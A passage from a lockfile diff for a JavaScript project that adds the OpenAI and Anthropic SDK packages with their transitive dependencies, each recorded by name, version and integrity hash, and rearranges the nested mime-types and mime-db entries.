-21,6 +22,7 @@ "esbuild": "^0.25.0", "fast-check": "^4.5.3", "ignore": "^7.0.5", + "openai": "^6.22.0", "p-limit": "^7.2.0", "pretty-ms": "^9.3.0", "qrcode-terminal": "^0.12.0", @@ -53,6 +55,8 @@ "@ai-sdk/ui-utils-v5": ["@ai-sdk/ui-utils@1.2.11", "", { "dependencies": { "@ai-sdk/provider": "1.1.3", "@ai-sdk/provider-utils": "2.2.8", "zod-to-json-schema": "^3.24.1" }, "peerDependencies": { "zod": "^3.23.8" } }, "sha512-3zcwCc8ezzFlwp3ZD15wAPjf2Au4s3vAbKsXQVyhxODHcmu0iyPO2Eua6D/vicq/AUm/BAo60r97O6HU+EI0+w=="], + "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.39.0", "", { "dependencies": { "@types/node": "^18.11.18", "@types/node-fetch": "^2.6.4", "abort-controller": "^3.0.0", "agentkeepalive": "^4.2.1", "form-data-encoder": "1.7.2", "formdata-node": "^4.3.2", "node-fetch": "^2.6.7" } }, "sha512-eMyDIPRZbt1CCLErRCi3exlAvNkBtRe+kW5vvJyef93PmNr/clstYgHhtvmkxN82nlKgzyGPCyGxrm0JQ1ZIdg=="], + "@apm-js-collab/code-transformer": ["@apm-js-collab/code-transformer@0.8.2", "", {}, "sha512-YRjJjNq5KFSjDUoqu5pFUWrrsvGOxl6c3bu+uMFc9HNNptZ2rNU/TI2nLw4jnhQNtka972Ee2m3uqbvDQtPeCA=="], "@apm-js-collab/tracing-hooks": ["@apm-js-collab/tracing-hooks@0.3.1", "", { "dependencies": { "@apm-js-collab/code-transformer": "^0.8.0", "debug": "^4.4.1", "module-details-from-path": "^1.0.4" } }, "sha512-Vu1CbmPURlN5fTboVuKMoJjbO5qcq9fA5YXpskx3dXe/zTBvjODFoerw+69rVBlRLrJpwPqSDqEuJDEKIrTldw=="], @@ -329,6 +333,8 @@ "@types/node": ["@types/node@22.19.11", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-BH7YwL6rA93ReqeQS1c4bsPpcfOmJasG+Fkr6Y59q83f9M1WcBRHR2vM+P9eOisYRcN3ujQoiZY8uk5W+1WL8w=="], + "@types/node-fetch": ["@types/node-fetch@2.6.13", "", { "dependencies": { "@types/node": "*", "form-data": "^4.0.4" } }, "sha512-QGpRVpzSaUs30JBSGPjOg4Uveu384erbHBoT1zeONvyCfwQxIkUshLAOqN/k9EjGviPRmWTTe6aH2qySWKTVSw=="], + "@types/pg": ["@types/pg@8.15.6", "", { "dependencies": { "@types/node": "*", "pg-protocol": "*", "pg-types": "^2.2.0" } }, "sha512-NoaMtzhxOrubeL/7UZuNTrejB4MPAJ0RpxZqXQf2qXuVlTPuG6Y8p4u9dKRaue4yjmC7ZhzVO2/Yyyn25znrPQ=="], "@types/pg-pool": ["@types/pg-pool@2.0.7", "", { "dependencies": { "@types/pg": "*" } }, "sha512-U4CwmGVQcbEuqpyju8/ptOKg6gEC+Tqsvj2xS9o1g71bUh8twxnC6ZL5rZKCsGN0iyH0CwgUyc9VR5owNQF9Ng=="], @@ -347,6 +353,8 @@ "@types/tedious": ["@types/tedious@4.0.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-KHPsfX/FoVbUGbyYvk1q9MMQHLPeRZhRJZdO45Q4YjvFkv4hMNghCWTvy7rdKessBsmtz4euWCWAB6/tVpI1Iw=="], + "abort-controller": ["abort-controller@3.0.0", "", { "dependencies": { "event-target-shim": "^5.0.0" } }, "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg=="], + "accepts": ["accepts@1.3.8", "", { "dependencies": { "mime-types": "~2.1.34", "negotiator": "0.6.3" } }, "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw=="], "acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="], @@ -355,6 +363,8 @@ "agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="], + "agentkeepalive": ["agentkeepalive@4.6.0", "", { "dependencies": { "humanize-ms": "^1.2.1" } }, "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ=="], + "ajv": ["ajv@8.18.0", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A=="], "ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="], @@ -365,6 +375,8 @@ "array-flatten": ["array-flatten@1.1.1", "", {}, "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="], + "asynckit": ["asynckit@0.4.0", "", {}, "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="], + "balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], "base64-js": ["base64-js@1.5.1", "", {}, "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="], @@ -401,6 +413,8 @@ "cjs-module-lexer": ["cjs-module-lexer@2.2.0", "", {}, "sha512-4bHTS2YuzUvtoLjdy+98ykbNB5jS0+07EvFNXerqZQJ89F7DI6ET7OQo/HJuW6K0aVsKA9hj9/RVb2kQVOrPDQ=="], + "combined-stream": ["combined-stream@1.0.8", "", { "dependencies": { "delayed-stream": "~1.0.0" } }, "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg=="], + "commander": ["commander@14.0.3", "", {}, "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw=="], "content-disposition": ["content-disposition@0.5.4", "", { "dependencies": { "safe-buffer": "5.2.1" } }, "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ=="], @@ -421,6 +435,8 @@ "deepmerge": ["deepmerge@4.3.1", "", {}, "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A=="], + "delayed-stream": ["delayed-stream@1.0.0", "", {}, "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="], + "depd": ["depd@2.0.0", "", {}, "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="], "destroy": ["destroy@1.2.0", "", {}, "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg=="], @@ -441,6 +457,8 @@ "es-object-atoms": ["es-object-atoms@1.1.1", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA=="], + "es-set-tostringtag": ["es-set-tostringtag@2.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA=="], + "esbuild": ["esbuild@0.25.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/linux-mips64el": "0.25.12", "@esbuild/linux-ppc64": "0.25.12", "@esbuild/linux-riscv64": "0.25.12", "@esbuild/linux-s390x": "0.25.12", "@esbuild/linux-x64": "0.25.12", "@esbuild/netbsd-arm64": "0.25.12", "@esbuild/netbsd-x64": "0.25.12", "@esbuild/openbsd-arm64": "0.25.12", "@esbuild/openbsd-x64": "0.25.12", "@esbuild/openharmony-arm64": "0.25.12", "@esbuild/sunos-x64": "0.25.12", "@esbuild/win32-arm64": "0.25.12", "@esbuild/win32-ia32": "0.25.12", "@esbuild/win32-x64": "0.25.12" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg=="], "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], @@ -453,6 +471,8 @@ "etag": ["etag@1.8.1", "", {}, "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="], + "event-target-shim": ["event-target-shim@5.0.1", "", {}, "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ=="], + "eventsource": ["eventsource@3.0.7", "", { "dependencies": { "eventsource-parser": "^3.0.1" } }, "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA=="], "eventsource-parser": ["eventsource-parser@3.0.6", "", {}, "sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg=="], @@ -477,6 +497,12 @@ "find-up": ["find-up@5.0.0", "", { "dependencies": { "locate-path": "^6.0.0", "path-exists": "^4.0.0" } }, "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng=="], + "form-data": ["form-data@4.0.5", "", { "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", "es-set-tostringtag": "^2.1.0", "hasown": "^2.0.2", "mime-types": "^2.1.12" } }, "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w=="], + + "form-data-encoder": ["form-data-encoder@1.7.2", "", {}, "sha512-qfqtYan3rxrnCk1VYaA4H+Ms9xdpPqvLZa6xmMgFvhO32x7/3J/ExcTd6qpxM0vH2GdMI+poehyBZvqfMTto8A=="], + + "formdata-node": ["formdata-node@4.4.1", "", { "dependencies": { "node-domexception": "1.0.0", "web-streams-polyfill": "4.0.0-beta.3" } }, "sha512-0iirZp3uVDjVGt9p49aTaqjk84TrglENEDuqfdlZQ1roC9CWlPk6Avf8EEnZNcAqPonwkG35x4n3ww/1THYAeQ=="], + "forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="], "forwarded-parse": ["forwarded-parse@2.1.2", "", {}, "sha512-alTFZZQDKMporBH77856pXgzhEzaUVmLCDk+egLgIgHst3Tpndzz8MnKe+GzRJRfvVdn69HhpW7cmXzvtLvJAw=="], @@ -505,6 +531,8 @@ "has-symbols": ["has-symbols@1.1.0", "", {}, "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="], + "has-tostringtag": ["has-tostringtag@1.0.2", "", { "dependencies": { "has-symbols": "^1.0.3" } }, "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw=="], + "hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], "hono": ["hono@4.11.9", "", {}, "sha512-Eaw2YTGM6WOxA6CXbckaEvslr2Ne4NFsKrvc0v97JD5awbmeBLO5w9Ho9L9kmKonrwF9RJlW6BxT1PVv/agBHQ=="], @@ -515,6 +543,8 @@ "https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="], + "humanize-ms": ["humanize-ms@1.2.1", "", { "dependencies": { "ms": "^2.0.0" } }, "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ=="], + "iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="], "ignore": ["ignore@7.0.5", "", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="], @@ -585,9 +615,9 @@ "mime": ["mime@1.6.0", "", { "bin": { "mime": "cli.js" } }, "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="], - "mime-db": ["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], + "mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], - "mime-types": ["mime-types@3.0.2", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A=="], + "mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], "minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="], @@ -601,6 +631,8 @@ "negotiator": ["negotiator@0.6.3", "", {}, "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg=="], + "node-domexception": ["node-domexception@1.0.0", "", {}, "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ=="], + "node-fetch": ["node-fetch@2.7.0", "", { "dependencies": { "whatwg-url": "^5.0.0" }, "peerDependencies": { "encoding": "^0.1.0" }, "optionalPeers": ["encoding"] }, "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A=="], "node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="], @@ -617,6 +649,8 @@ "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="], + "openai": ["openai@6.22.0", "", { "peerDependencies": { "ws": "^8.18.0", "zod": "^3.25 || ^4.0" }, "optionalPeers": ["ws", "zod"], "bin": { "openai": "bin/cli" } }, "sha512-7Yvy17F33Bi9RutWbsaYt5hJEEJ/krRPOrwan+f9aCPuMat1WVsb2VNSII5W1EksKT6fF69TG/xj4XzodK3JZw=="], + "openapi-types": ["openapi-types@12.1.3", "", {}, "sha512-N4YtSYJqghVu4iek2ZUvcN/0aqH1kRDuNqzcycDxhOUpg7GdvLa2F3DgS6yBNhInhv2r/6I0Flkn7CqL8+nIcw=="], "p-limit": ["p-limit@7.3.0", "", { "dependencies": { "yocto-queue": "^1.2.1" } }, "sha512-7cIXg/Z0M5WZRblrsOla88S4wAK+zOQQWeBYfV3qJuJXMr+LnbYjaadrFaS0JILfEDPVqHyKnZ1Z/1d6J9VVUw=="], @@ -761,6 +795,8 @@ "vary": ["vary@1.1.2", "", {}, "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="], + "web-streams-polyfill": ["web-streams-polyfill@4.0.0-beta.3", "", {}, "sha512-QW95TCTaHmsYfHDybGMwO5IJIM93I/6vTRk+daHTWFPhwh+C8Cg7j7XyKrwrj8Ib6vYXe0ocYNrmzY4xAAN6ug=="], + "webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="], "webpack-sources": ["webpack-sources@3.3.4", "", {}, "sha512-7tP1PdV4vF+lYPnkMR0jMY5/la2ub5Fc/8VQrrU+lXkiM6C4TjVfGw7iKfyhnTQOsD+6Q/iKw0eFciziRgD58Q=="], @@ -797,6 +833,8 @@ "@ai-sdk/ui-utils-v5/@ai-sdk/provider": ["@ai-sdk/provider@1.1.3", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-qZMxYJ0qqX/RfnuIaab+zp8UAeJn/ygXXAffR5I4N0n1IrvA6qBsjc8hXLmBiMV2zoXlifkacF7sEFnYnjBcqg=="], + "@anthropic-ai/sdk/@types/node": ["@types/node@18.19.130", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-GRaXQx6jGfL8sKfaIDD6OupbIHBr9jv7Jnaml9tB7l4v068PAOXqfcujMMo5PhbIs6ggR1XODELqahT2R8v0fg=="], + "@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], "@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], @@ -815,8 +853,6 @@ "@sentry/bundler-plugin-core/glob": ["glob@9.3.5", "", { "dependencies": { "fs.realpath": "^1.0.0", "minimatch": "^8.0.2", "minipass": "^4.2.4", "path-scurry": "^1.6.1" } }, "sha512-e1LleDykUz2Iu+MTYdkSsuWX8lvAjAcs0Xef0lNIu0S2wOAzuTxCJtcd9S3cijlwYF18EsU3rzb8jPVobxDh9Q=="], - "accepts/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], - "anymatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], "express/body-parser": ["body-parser@1.20.4", "", { "dependencies": { "bytes": "~3.1.2", "content-type": "~1.0.5", "debug": "2.6.9", "depd": "2.0.0", "destroy": "~1.2.0", "http-errors": "~2.0.1", "iconv-lite": "~0.4.24", "on-finished": "~2.4.1", "qs": "~6.14.0", "raw-body": "~2.5.3", "type-is": "~1.6.18", "unpipe": "~1.0.0" } }, "sha512-ZTgYYLMOXY9qKU/57FAo8F+HA2dGX7bqGc71txDRC1rS4frdFI5R7NhluHxH6M0YItAP0sHB4uqAOcYKxO6uGA=="], @@ -839,10 +875,14 @@ "send/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], + "type-is/mime-types": ["mime-types@3.0.2", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A=="], + "ultracite/zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="], "zod-from-json-schema/zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="], + "@anthropic-ai/sdk/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="], + "@modelcontextprotocol/sdk/express/accepts": ["accepts@2.0.0", "", { "dependencies": { "mime-types": "^3.0.0", "negotiator": "^1.0.0" } }, "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng=="], "@modelcontextprotocol/sdk/express/content-disposition": ["content-disposition@1.0.1", "", {}, "sha512-oIXISMynqSqm241k6kcQ5UwttDILMK4BiurCfGEREw6+X9jkkpEe5T9FZaApyLGGOnFuyMWZpdolTXMtvEJ08Q=="], @@ -855,6 +895,8 @@ "@modelcontextprotocol/sdk/express/merge-descriptors": ["merge-descriptors@2.0.0", "", {}, "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g=="], + "@modelcontextprotocol/sdk/express/mime-types": ["mime-types@3.0.2", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A=="], + "@modelcontextprotocol/sdk/express/send": ["send@1.2.1", "", { "dependencies": { "debug": "^4.4.3", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "fresh": "^2.0.0", "http-errors": "^2.0.1", "mime-types": "^3.0.2", "ms": "^2.1.3", "on-finished": "^2.4.1", "range-parser": "^1.2.1", "statuses": "^2.0.2" } }, "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ=="], "@modelcontextprotocol/sdk/express/serve-static": ["serve-static@2.2.1", "", { "dependencies": { "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "parseurl": "^1.3.3", "send": "^1.2.0" } }, "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw=="], @@ -867,8 +909,6 @@ "@sentry/bundler-plugin-core/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], - "accepts/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], - "express/body-parser/iconv-lite": ["iconv-lite@0.4.24", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3" } }, "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA=="], "express/body-parser/raw-body": ["raw-body@2.5.3", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.4.24", "unpipe": "~1.0.0" } }, "sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA=="], @@ -877,8 +917,6 @@ "express/type-is/media-typer": ["media-typer@0.3.0", "", {}, "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ=="], - "express/type-is/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], - "finalhandler/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], "glob/minimatch/brace-expansion": ["brace-expansion@5.0.2", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-Pdk8c9poy+YhOgVWw1JNN22/HcivgKWwpxKq04M/jTmHyCZn12WPJebZxdjSa5TmBqISrUSgNYU3eRORljfCCw=="], @@ -887,14 +925,16 @@ "send/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], + "type-is/mime-types/mime-db": ["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], + "@modelcontextprotocol/sdk/express/accepts/negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="], + "@modelcontextprotocol/sdk/express/mime-types/mime-db": 